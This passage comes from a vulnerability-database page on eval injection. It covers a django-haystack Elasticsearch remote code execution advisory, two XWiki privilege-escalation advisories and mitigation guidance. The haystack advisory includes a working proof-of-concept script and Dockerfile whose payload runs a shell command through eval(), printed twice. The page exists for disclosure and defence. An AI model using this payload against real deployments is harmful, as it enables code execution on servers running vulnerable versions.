index.fields[string_key], "convert"
- converted_value = eval(value)
+ converted_value = ast.literal_eval(value)
Impact
This is a Remote Code Execution (RCE) vulnerability. Any attacker who can submit content that is stored and indexed in Elasticsearch—then retrieved via a search—can execute arbitrary Python (and shell) commands in the Django application process with the privileges of the web server. Full confidentiality, integrity, and availability of the server are at risk. Because Haystack is a reusable search library, the vulnerability affects all Django applications that use the Elasticsearch backend with index_fieldname aliasing, regardless of how authentication is configured by the application.
Reproduction artifacts
Dockerfile
FROM python:3.11-slim
WORKDIR /app
# Install build tools needed for setuptools_scm
RUN pip install --no-cache-dir setuptools setuptools_scm wheel
# Copy the django-haystack repository source
COPY repo/ /app/repo/
# Install Django and the elasticsearch client
RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8"
# Install django-haystack from the local repo (editable install)
# setuptools_scm requires git metadata; use fallback version instead
RUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/
# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py
# Run the PoC by default
CMD ["python3", "/app/poc.py"]
poc.py
"""
PoC for VULN-001: Arbitrary Code Execution via eval() in
ElasticsearchSearchBackend._process_results (django-haystack)
Vulnerability:
haystack/backends/elasticsearch_backend.py:865 calls eval(value) on
Elasticsearch _source field values that do not match any entry in
index.fields. This mismatch occurs when a SearchField uses
index_fieldname (alias) different from its logical field name: ES stores
data under the alias, but the backend looks up fields by logical name,
causing unmatched values to fall through to _to_python() -> eval().
Attack path:
1. Attacker controls content that is indexed into Elasticsearch.
2. The Django app has a SearchIndex field with index_fieldname alias.
3. ES stores the document under the alias key.
4. On search, _process_results reads _source where the alias key is NOT
found in index.fields (which uses logical names).
5. The value routes to _to_python(value) -> eval(value) -> RCE.
This PoC bypasses the need for a live Elasticsearch instance by directly
calling _process_results() with a crafted raw result dict.
"""
import os
import sys
# ---------------------------------------------------------------------------
# 1. Configure Django (no database required)
# ---------------------------------------------------------------------------
from django.conf import settings
if not settings.configured:
settings.configure(
SECRET_KEY="poc-only-not-for-production",
INSTALLED_APPS=[
"django.contrib.contenttypes",
"django.contrib.auth",
"haystack",
],
HAYSTACK_CONNECTIONS={
"default": {
"ENGINE": "haystack.backends.elasticsearch_backend.ElasticsearchSearchEngine",
"URL": "http://127.0.0.1:9200/",
"INDEX_NAME": "poc_index",
}
},
DATABASES={},
)
import haystack
import haystack.backends.elasticsearch_backend as esb
# ---------------------------------------------------------------------------
# 2. Mock objects to simulate the Haystack/ES environment
# ---------------------------------------------------------------------------
class MockField:
"""
Simulates a SearchField declared with an index_fieldname alias.
Logical field name: "name"
ES storage key (index_fieldname): "name_s"
"""
index_fieldname = "name_s"
def convert(self, value):
return str(value)
class MockIndex:
"""
Simulates a SearchIndex.
fields: keyed by LOGICAL name ("name")
field_map: alias -> logical name (Solr uses this; ES backend does NOT)
"""
fields = {
"name": MockField(),
}
field_map = {"name_s": "name"}
class MockUnifiedIndex:
document_field = "text"
def get_indexed_models(self):
return [object]
def get_index(self, model):
return MockIndex()
class MockConnection:
def get_unified_index(self):
return MockUnifiedIndex()
# Patch the global haystack connections registry so _process_results can
# look up the unified index without a real Elasticsearch connection.
haystack.connections = {"default": MockConnection()}
# Patch the model-lookup helper used inside _process_results.
# Returns `object` so the model is found and the result is processed.
esb.haystack_get_model = lambda app_label, model_name: object
# ---------------------------------------------------------------------------
# 3. Build the malicious payload
# ---------------------------------------------------------------------------
MARKER_FILE = "/tmp/django_haystack_eval_rce_proof"
# os.system() returns the exit code (int). The isinstance(int) check in
# _to_python() passes, so eval() completes without raising, confirming
# full expression execution. The shell command writes the proof file.
payload = (
f"__import__('os').system("
f"'echo PWNED_BY_EVAL_RCE > {MARKER_FILE}')"
)
# Crafted Elasticsearch raw response:
# "name_s" is the index_fieldname alias stored in ES.
# "name" is the logical field name present in index.fields.
# Because "name_s" != "name", the lookup fails and value goes to eval().
raw_results = {
"hits": {
"total": 1,
"hits": [
{
"_score": 1.0,
"_source": {
"django_ct": "app.model", # required sentinel field
"django_id": "1", # required sentinel field
"name_s": payload, # alias key -> eval() path
},
}
],
}
}
# ---------------------------------------------------------------------------
# 4. Instantiate the backend without __init__ (no live ES connection needed)
# ---------------------------------------------------------------------------
backend = esb.ElasticsearchSearchBackend.__new__(esb.ElasticsearchSearchBackend)
backend.connection_alias = "default"
backend.include_spelling = False
# ---------------------------------------------------------------------------
# 5. Trigger the vulnerability
# ---------------------------------------------------------------------------
print("=" * 60)
print("VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend")
print("=" * 60)
print(f"[*] Payload : {payload}")
print(f"[*] Marker : {MARKER_FILE}")
print(f"[*] Sink : elasticsearch_backend.py:865 eval(value)")
print()
# Remove any leftover marker from a previous run
if os.path.exists(MARKER_FILE):
os.remove(MARKER_FILE)
try:
backend._process_results(raw_results)
except Exception as exc:
# An exception here does not mean eval() was not called;
# the side effect (file write) is the ground truth.
print(f"[!] _process_results raised (checking side effects anyway): {exc}")
# ---------------------------------------------------------------------------
# 6. Verify the side effect
# ---------------------------------------------------------------------------
print()
if os.path.exists(MARKER_FILE):
content = open(MARKER_FILE).read().strip()
print("[+] SUCCESS: RCE CONFIRMED")
print(f"[+] Marker file created: {MARKER_FILE}")
print(f"[+] File content: {content}")
print()
print("RESULT: PASS - VULN-001 is dynamically reproduced and exploitable")
sys.exit(0)
else:
print("[-] FAILURE: Marker file was not created")
print("[-] eval() was not triggered or the payload did not execute")
print()
print("RESULT: FAIL - RCE could not be confirmed")
sys.exit(1)
Severity
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "django-haystack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T22:42:28Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Remote Code Execution via `eval()` in Elasticsearch Result Deserialization\n\n### Summary\n\nThe Elasticsearch backend in django-haystack calls `eval()` on raw field values returned from Elasticsearch when a `SearchField` is declared with an `index_fieldname` alias that differs from the logical field name. During result processing, the backend looks up fields by logical name but Elasticsearch stores them under the alias key; the lookup fails and the value falls through to `_to_python()` \u2192 `eval()`. An attacker who can control content that is indexed into Elasticsearch\u2014and can trigger or wait for a search that returns it\u2014achieves arbitrary code execution in the Django application process. CVSS 3.1 Base Score: **8.5 (High)**.\n\n### Details\n\n**Sink \u2014 `haystack/backends/elasticsearch_backend.py:865`:**\n\n```python\nconverted_value = eval(value)\n```\n\n`_to_python()` (line ~850) attempts to parse a string value by calling `eval()` before performing any type-safety check. If the value is an attacker-controlled Python expression such as `__import__(\u0027os\u0027).system(...)`, the expression is executed unconditionally.\n\n**Root cause \u2014 `haystack/backends/elasticsearch_backend.py:727\u2013737`:**\n\n```python\nfor key, value in source.items():\n string_key = str(key)\n\n if string_key in index.fields and hasattr(index.fields[string_key], \"convert\"):\n additional_fields[string_key] = index.fields[string_key].convert(value)\n else:\n additional_fields[string_key] = self._to_python(value)\n```\n\n`index.fields` is keyed by the *logical* field name (e.g. `\"name\"`), but Elasticsearch stores the document under the `index_fieldname` alias (e.g. `\"name_s\"`). Because `\"name_s\" not in index.fields`, the branch falls through to `self._to_python(value)`.\n\n**Data flow (source \u2192 sink):**\n\n1. `haystack/indexes.py:226` \u2014 `self.prepared_data[field.index_fieldname] = field.prepare(obj)` stores data under the alias.\n2. `haystack/backends/elasticsearch_backend.py:218` \u2014 prepared data copied into `final_data`.\n3. `haystack/backends/elasticsearch_backend.py:236` \u2014 `bulk(...)` writes the document to Elasticsearch under the alias key.\n4. `haystack/backends/elasticsearch_backend.py:574` \u2014 search reads attacker-influenced `_source` back from Elasticsearch.\n5. `haystack/backends/elasticsearch_backend.py:720` \u2014 `_process_results()` takes `raw_result[\"_source\"]`.\n6. `haystack/backends/elasticsearch_backend.py:730` \u2014 lookup `string_key in index.fields` fails for alias keys.\n7. `haystack/backends/elasticsearch_backend.py:737` \u2014 unmatched value passed to `_to_python(value)`.\n8. `haystack/backends/elasticsearch_backend.py:865` \u2014 **sink**: `converted_value = eval(value)`.\n\n**Missing fix:** The Solr backend correctly remaps aliases at `haystack/backends/solr_backend.py:535\u2013539` using `index.field_map` before performing the `index.fields` lookup. The Elasticsearch backend has no equivalent remapping.\n\n**Preconditions:**\n\n- The application uses the Elasticsearch backend.\n- At least one `SearchField` in a `SearchIndex` is declared with `index_fieldname` set to a value different from the logical attribute name.\n- The attacker can write content that is indexed (e.g. via a form, API, or any user-controlled field included in the index).\n- The attacker can trigger or wait for a search that returns the malicious document.\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build the proof-of-concept image\ndocker build -t vuln001-poc \\\n -f /path/to/vuln-001/Dockerfile \\\n /path/to/reports/pypiAi_436_django-haystack__django-haystack/\n\n# Run the PoC \u2014 exits 0 on confirmed RCE\ndocker run --rm vuln001-poc\n```\n\n**Dockerfile** (`vuln-001/Dockerfile`):\n\n```dockerfile\nFROM python:3.11-slim\nWORKDIR /app\nRUN pip install --no-cache-dir setuptools setuptools_scm wheel\nCOPY repo/ /app/repo/\nRUN pip install --no-cache-dir \"Django\u003e=4.2\" \"elasticsearch\u003e=5,\u003c8\"\nRUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/\nCOPY vuln-001/poc.py /app/poc.py\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n**PoC script** (`vuln-001/poc.py`) \u2014 key sections:\n\n```python\n# SearchField with index_fieldname alias\nclass MockField:\n index_fieldname = \"name_s\" # ES key\n def convert(self, value): return str(value)\n\nclass MockIndex:\n fields = {\"name\": MockField()} # logical key \u2014 \"name_s\" NOT present\n field_map = {\"name_s\": \"name\"}\n\n# Malicious payload placed in the alias key of a crafted ES _source response\nMARKER_FILE = \"/tmp/django_haystack_eval_rce_proof\"\npayload = (\n f\"__import__(\u0027os\u0027).system(\"\n f\"\u0027echo PWNED_BY_EVAL_RCE \u003e {MARKER_FILE}\u0027)\"\n)\n\nraw_results = {\"hits\": {\"total\": 1, \"hits\": [{\n \"_score\": 1.0,\n \"_source\": {\n \"django_ct\": \"app.model\",\n \"django_id\": \"1\",\n \"name_s\": payload, # alias key \u2192 lookup fails \u2192 eval()\n },\n}]}}\n\nbackend._process_results(raw_results)\n# Confirms RCE: /tmp/django_haystack_eval_rce_proof contains \"PWNED_BY_EVAL_RCE\"\n```\n\n**Observed output (Phase 2 dynamic reproduction):**\n\n```\n============================================================\nVULN-001 PoC: eval() RCE in ElasticsearchSearchBackend\n============================================================\n[*] Payload : __import__(\u0027os\u0027).system(\u0027echo PWNED_BY_EVAL_RCE \u003e /tmp/django_haystack_eval_rce_proof\u0027)\n[*] Marker : /tmp/django_haystack_eval_rce_proof\n[*] Sink : elasticsearch_backend.py:865 eval(value)\n\n[+] SUCCESS: RCE CONFIRMED\n[+] Marker file created: /tmp/django_haystack_eval_rce_proof\n[+] File content: PWNED_BY_EVAL_RCE\n\nRESULT: PASS - VULN-001 is dynamically reproduced and exploitable\n```\n\n**Recommended remediation:**\n\n```diff\n--- a/haystack/backends/elasticsearch_backend.py\n+++ b/haystack/backends/elasticsearch_backend.py\n-import re\n+import ast\n+import re\n \n index = source and unified_index.get_index(model)\n+ index_field_map = index.field_map\n for key, value in source.items():\n string_key = str(key)\n+ if string_key in index_field_map:\n+ string_key = index_field_map[string_key]\n \n if string_key in index.fields and hasattr(\n index.fields[string_key], \"convert\"\n \n- converted_value = eval(value)\n+ converted_value = ast.literal_eval(value)\n```\n\n### Impact\n\nThis is a **Remote Code Execution (RCE)** vulnerability. Any attacker who can submit content that is stored and indexed in Elasticsearch\u2014then retrieved via a search\u2014can execute arbitrary Python (and shell) commands in the Django application process with the privileges of the web server. Full confidentiality, integrity, and availability of the server are at risk. Because Haystack is a reusable search library, the vulnerability affects all Django applications that use the Elasticsearch backend with `index_fieldname` aliasing, regardless of how authentication is configured by the application.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Install build tools needed for setuptools_scm\nRUN pip install --no-cache-dir setuptools setuptools_scm wheel\n\n# Copy the django-haystack repository source\nCOPY repo/ /app/repo/\n\n# Install Django and the elasticsearch client\nRUN pip install --no-cache-dir \"Django\u003e=4.2\" \"elasticsearch\u003e=5,\u003c8\"\n\n# Install django-haystack from the local repo (editable install)\n# setuptools_scm requires git metadata; use fallback version instead\nRUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/\n\n# Copy the PoC script\nCOPY vuln-001/poc.py /app/poc.py\n\n# Run the PoC by default\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC for VULN-001: Arbitrary Code Execution via eval() in\nElasticsearchSearchBackend._process_results (django-haystack)\n\nVulnerability:\n haystack/backends/elasticsearch_backend.py:865 calls eval(value) on\n Elasticsearch _source field values that do not match any entry in\n index.fields. This mismatch occurs when a SearchField uses\n index_fieldname (alias) different from its logical field name: ES stores\n data under the alias, but the backend looks up fields by logical name,\n causing unmatched values to fall through to _to_python() -\u003e eval().\n\nAttack path:\n 1. Attacker controls content that is indexed into Elasticsearch.\n 2. The Django app has a SearchIndex field with index_fieldname alias.\n 3. ES stores the document under the alias key.\n 4. On search, _process_results reads _source where the alias key is NOT\n found in index.fields (which uses logical names).\n 5. The value routes to _to_python(value) -\u003e eval(value) -\u003e RCE.\n\nThis PoC bypasses the need for a live Elasticsearch instance by directly\ncalling _process_results() with a crafted raw result dict.\n\"\"\"\n\nimport os\nimport sys\n\n# ---------------------------------------------------------------------------\n# 1. Configure Django (no database required)\n# ---------------------------------------------------------------------------\nfrom django.conf import settings\n\nif not settings.configured:\n settings.configure(\n SECRET_KEY=\"poc-only-not-for-production\",\n INSTALLED_APPS=[\n \"django.contrib.contenttypes\",\n \"django.contrib.auth\",\n \"haystack\",\n ],\n HAYSTACK_CONNECTIONS={\n \"default\": {\n \"ENGINE\": \"haystack.backends.elasticsearch_backend.ElasticsearchSearchEngine\",\n \"URL\": \"http://127.0.0.1:9200/\",\n \"INDEX_NAME\": \"poc_index\",\n }\n },\n DATABASES={},\n )\n\nimport haystack\nimport haystack.backends.elasticsearch_backend as esb\n\n# ---------------------------------------------------------------------------\n# 2. Mock objects to simulate the Haystack/ES environment\n# ---------------------------------------------------------------------------\n\nclass MockField:\n \"\"\"\n Simulates a SearchField declared with an index_fieldname alias.\n Logical field name: \"name\"\n ES storage key (index_fieldname): \"name_s\"\n \"\"\"\n index_fieldname = \"name_s\"\n\n def convert(self, value):\n return str(value)\n\n\nclass MockIndex:\n \"\"\"\n Simulates a SearchIndex.\n fields: keyed by LOGICAL name (\"name\")\n field_map: alias -\u003e logical name (Solr uses this; ES backend does NOT)\n \"\"\"\n fields = {\n \"name\": MockField(),\n }\n field_map = {\"name_s\": \"name\"}\n\n\nclass MockUnifiedIndex:\n document_field = \"text\"\n\n def get_indexed_models(self):\n return [object]\n\n def get_index(self, model):\n return MockIndex()\n\n\nclass MockConnection:\n def get_unified_index(self):\n return MockUnifiedIndex()\n\n\n# Patch the global haystack connections registry so _process_results can\n# look up the unified index without a real Elasticsearch connection.\nhaystack.connections = {\"default\": MockConnection()}\n\n# Patch the model-lookup helper used inside _process_results.\n# Returns `object` so the model is found and the result is processed.\nesb.haystack_get_model = lambda app_label, model_name: object\n\n# ---------------------------------------------------------------------------\n# 3. Build the malicious payload\n# ---------------------------------------------------------------------------\nMARKER_FILE = \"/tmp/django_haystack_eval_rce_proof\"\n\n# os.system() returns the exit code (int). The isinstance(int) check in\n# _to_python() passes, so eval() completes without raising, confirming\n# full expression execution. The shell command writes the proof file.\npayload = (\n f\"__import__(\u0027os\u0027).system(\"\n f\"\u0027echo PWNED_BY_EVAL_RCE \u003e {MARKER_FILE}\u0027)\"\n)\n\n# Crafted Elasticsearch raw response:\n# \"name_s\" is the index_fieldname alias stored in ES.\n# \"name\" is the logical field name present in index.fields.\n# Because \"name_s\" != \"name\", the lookup fails and value goes to eval().\nraw_results = {\n \"hits\": {\n \"total\": 1,\n \"hits\": [\n {\n \"_score\": 1.0,\n \"_source\": {\n \"django_ct\": \"app.model\", # required sentinel field\n \"django_id\": \"1\", # required sentinel field\n \"name_s\": payload, # alias key -\u003e eval() path\n },\n }\n ],\n }\n}\n\n# ---------------------------------------------------------------------------\n# 4. Instantiate the backend without __init__ (no live ES connection needed)\n# ---------------------------------------------------------------------------\nbackend = esb.ElasticsearchSearchBackend.__new__(esb.ElasticsearchSearchBackend)\nbackend.connection_alias = \"default\"\nbackend.include_spelling = False\n\n# ---------------------------------------------------------------------------\n# 5. Trigger the vulnerability\n# ---------------------------------------------------------------------------\nprint(\"=\" * 60)\nprint(\"VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend\")\nprint(\"=\" * 60)\nprint(f\"[*] Payload : {payload}\")\nprint(f\"[*] Marker : {MARKER_FILE}\")\nprint(f\"[*] Sink : elasticsearch_backend.py:865 eval(value)\")\nprint()\n\n# Remove any leftover marker from a previous run\nif os.path.exists(MARKER_FILE):\n os.remove(MARKER_FILE)\n\ntry:\n backend._process_results(raw_results)\nexcept Exception as exc:\n # An exception here does not mean eval() was not called;\n # the side effect (file write) is the ground truth.\n print(f\"[!] _process_results raised (checking side effects anyway): {exc}\")\n\n# ---------------------------------------------------------------------------\n# 6. Verify the side effect\n# ---------------------------------------------------------------------------\nprint()\nif os.path.exists(MARKER_FILE):\n content = open(MARKER_FILE).read().strip()\n print(\"[+] SUCCESS: RCE CONFIRMED\")\n print(f\"[+] Marker file created: {MARKER_FILE}\")\n print(f\"[+] File content: {content}\")\n print()\n print(\"RESULT: PASS - VULN-001 is dynamically reproduced and exploitable\")\n sys.exit(0)\nelse:\n print(\"[-] FAILURE: Marker file was not created\")\n print(\"[-] eval() was not triggered or the payload did not execute\")\n print()\n print(\"RESULT: FAIL - RCE could not be confirmed\")\n sys.exit(1)\n```",
"id": "GHSA-r3hx-x5rh-p9vv",
"modified": "2026-07-15T22:42:28Z",
"published": "2026-07-15T22:42:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/django-haystack/django-haystack/security/advisories/GHSA-r3hx-x5rh-p9vv"
},
{
"type": "WEB",
"url": "https://github.com/django-haystack/django-haystack/commit/eb05f193c9771a68dcc8cfac6674a0d48a52ee9d"
},
{
"type": "PACKAGE",
"url": "https://github.com/django-haystack/django-haystack"
},
{
"type": "WEB",
"url": "https://github.com/django-haystack/django-haystack/releases/tag/v3.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "django-haystack: Remote Code Execution via `eval()` in Elasticsearch Result Deserialization"
}
GHSA-RF8J-Q39G-7XFM
Vulnerability from github – Published: 2023-06-20 16:46 – Updated: 2023-06-20 16:46
VLAI
Summary
XWiki Platform vulnerable to privilege escalation (PR) from account through like LiveTableResults
Details
Impact
Any logged in user can add dangerous content in their first name field and see it executed with programming rights. Leading to rights escalation.
Patches
The vulnerability has been fixed on XWiki 14.4.8, 14.10.6, and 15.1.
Workarounds
The vulnerability can be fixed by applying this patch.
On versions before 13.4-rc-1, the fix needs to be applied on XWiki.Like.Code.LiveTableResultPage.
References
- The reported issue https://jira.xwiki.org/browse/XWIKI-20611, fixed by https://jira.xwiki.org/browse/XWIKI-19900
- The patch https://github.com/xwiki/xwiki-platform/commit/6ce2d04a5779e07f6d3ed3f37d4761049b4fc3ac#diff-ef7f8b911bb8e584fda22aac5876a329add35ca0d1d32e0fdb62a439b78cfa49
For more information
If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List
Severity
9.9 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-like-ui"
},
"ranges": [
{
"events": [
{
"introduced": "12.9-rc-1"
},
{
"fixed": "14.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-like-ui"
},
"ranges": [
{
"events": [
{
"introduced": "14.5"
},
{
"fixed": "14.10.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-like-ui"
},
"ranges": [
{
"events": [
{
"introduced": "15.0-rc-1"
},
{
"fixed": "15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-35152"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-20T16:46:53Z",
"nvd_published_at": "2023-06-23T17:15:09Z",
"severity": "CRITICAL"
},
"details": "### Impact\nAny logged in user can add dangerous content in their first name field and see it executed with programming rights. Leading to rights escalation.\n\n### Patches\nThe vulnerability has been fixed on XWiki 14.4.8, 14.10.6, and 15.1.\n\n### Workarounds\nThe vulnerability can be fixed by applying this [patch](https://github.com/xwiki/xwiki-platform/commit/6ce2d04a5779e07f6d3ed3f37d4761049b4fc3ac#diff-ef7f8b911bb8e584fda22aac5876a329add35ca0d1d32e0fdb62a439b78cfa49).\n\nOn versions before 13.4-rc-1, the fix needs to be applied on [XWiki.Like.Code.LiveTableResultPage](https://github.com/xwiki/xwiki-platform/commit/0993a7ab3c102f9ac37ffe361a83a3dc302c0e45#diff-0b51114cb27f7a5c599cf40c59d658eae6ddc5c0836532c3b35e163f40a4854fR39).\n\n### References\n- The reported issue https://jira.xwiki.org/browse/XWIKI-20611, fixed by https://jira.xwiki.org/browse/XWIKI-19900\n- The patch https://github.com/xwiki/xwiki-platform/commit/6ce2d04a5779e07f6d3ed3f37d4761049b4fc3ac#diff-ef7f8b911bb8e584fda22aac5876a329add35ca0d1d32e0fdb62a439b78cfa49\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
"id": "GHSA-rf8j-q39g-7xfm",
"modified": "2023-06-20T16:46:53Z",
"published": "2023-06-20T16:46:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rf8j-q39g-7xfm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35152"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/0993a7ab3c102f9ac37ffe361a83a3dc302c0e45#diff-0b51114cb27f7a5c599cf40c59d658eae6ddc5c0836532c3b35e163f40a4854fR39"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/6ce2d04a5779e07f6d3ed3f37d4761049b4fc3ac#diff-ef7f8b911bb8e584fda22aac5876a329add35ca0d1d32e0fdb62a439b78cfa49"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-19900"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-20611"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "XWiki Platform vulnerable to privilege escalation (PR) from account through like LiveTableResults"
}
GHSA-RFH6-MG6H-H668
Vulnerability from github – Published: 2023-04-12 20:36 – Updated: 2023-04-26 22:15
VLAI
Summary
xwiki-platform-administration-ui vulnerable to privilege escalation
Details
Impact
Any user with edit rights on a page (e.g., it's own user page), can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the section ids in XWiki.AdminFieldsDisplaySheet. This page is installed by default.
Reproduction steps are described in https://jira.xwiki.org/browse/XWIKI-20261
Patches
The vulnerability has been patched in XWiki 15.0-rc-1, 14.10.1, 14.4.8, and 13.10.11.
Workarounds
The issue can be fixed by applying this patch on XWiki.AdminFieldsDisplaySheet.
For more information
If you have any questions or comments about this advisory:
- Open an issue in Jira XWiki.org
- Email us at Security Mailing List
Severity
9.9 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-administration-ui"
},
"ranges": [
{
"events": [
{
"introduced": "1.5M2"
},
{
"fixed": "13.10.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-administration-ui"
},
"ranges": [
{
"events": [
{
"introduced": "14.0-rc-1"
},
{
"fixed": "14.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-administration-ui"
},
"ranges": [
{
"events": [
{
"introduced": "14.5"
},
{
"fixed": "14.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-29511"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2023-04-12T20:36:56Z",
"nvd_published_at": "2023-04-16T08:15:00Z",
"severity": "CRITICAL"
},
"details": "### Impact\nAny user with edit rights on a page (e.g., it\u0027s own user page), can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the section ids in `XWiki.AdminFieldsDisplaySheet`. This page is installed by default.\n\nReproduction steps are described in https://jira.xwiki.org/browse/XWIKI-20261\n\n### Patches\nThe vulnerability has been patched in XWiki 15.0-rc-1, 14.10.1, 14.4.8, and 13.10.11.\n\n### Workarounds\nThe issue can be fixed by applying this [patch](https://github.com/xwiki/xwiki-platform/commit/f1e310826a19acdcdecdecdcfe171d21f24d6ede) on `XWiki.AdminFieldsDisplaySheet`.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
"id": "GHSA-rfh6-mg6h-h668",
"modified": "2023-04-26T22:15:50Z",
"published": "2023-04-12T20:36:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rfh6-mg6h-h668"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29511"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/f1e310826a19acdcdecdecdcfe171d21f24d6ede"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-20261"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "xwiki-platform-administration-ui vulnerable to privilege escalation"
}
Mitigation
Architecture and Design
Implementation
Strategy: Refactoring
If possible, refactor your code so that it does not need to use eval() at all.
Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Implementation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
- Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
Implementation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.